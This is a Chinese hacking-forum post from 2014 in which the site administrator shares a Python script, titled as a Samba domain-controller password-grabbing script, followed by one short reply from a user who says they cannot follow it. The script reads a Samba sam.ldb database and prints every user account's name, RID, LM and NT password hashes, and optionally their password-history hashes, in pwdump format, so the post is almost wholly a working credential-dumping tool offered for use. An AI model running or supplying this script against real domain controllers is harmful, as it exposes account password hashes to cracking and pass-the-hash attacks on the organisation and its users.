搜索
查看: 286|回复: 1

samba域控获取密码脚本

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-10-3 07:35:45 来自手机 | 显示全部楼层 |阅读模式

  1. #!/usr/bin/env python
  2. def get_history(attr, r):
  3. hashes = []
  4. if attr in r:
  5. hist = r[attr][0]
  6. for i in range(0, len(hist), 16):
  7. h = hist[i:i+16].encode('hex')
  8. hashes.append(h)
  9. return hashes
  10. def get_hash(attr, r):
  11. if attr not in r:
  12. return ''
  13. else:
  14. return r[attr][0].encode('hex')
  15. from samba.ndr import ndr_unpack
  16. from samba.dcerpc import security
  17. from ldb import Ldb
  18. from sys import argv, exit
  19. if len(argv) not in (2, 3):
  20. print('Usage: %s <path to .ldb> [-history]' % argv[0])
  21. print("Exmpl: %s '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb'" % argv[0])
  22. exit(2)
  23. for r in Ldb(argv[1]).search(expression='(objectclass=user)'):
  24. rid = ndr_unpack(security.dom_sid, r['objectSid'][0]).split()[-1]
  25. username = r['sAMAccountName']
  26. lmhash = get_hash('dBCSPwd', r)
  27. nthash = get_hash('unicodePwd', r)
  28. print('%s:%s:%s:%s:::' % (username, rid, lmhash, nthash))
  29. if len(argv) == 3 and argv[2] == '-history':
  30. lmhistory = get_history('lmPwdHistory', r)
  31. nthistory = get_history('ntPwdHistory', r)

  32. for i, (lmhash, nthash) in enumerate(map(lambda l,n: (l,n) if l else ('',n), lmhistory[1:], nthistory[1:])):
  33. print('%s_history%d:%s:%s:%s:::' % (username, i, rid, lmhash, nthash))
复制代码
Mr.冷雪 该用户已被删除
发表于 2014-10-7 20:39:57 | 显示全部楼层
小白路过,表示看不懂
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表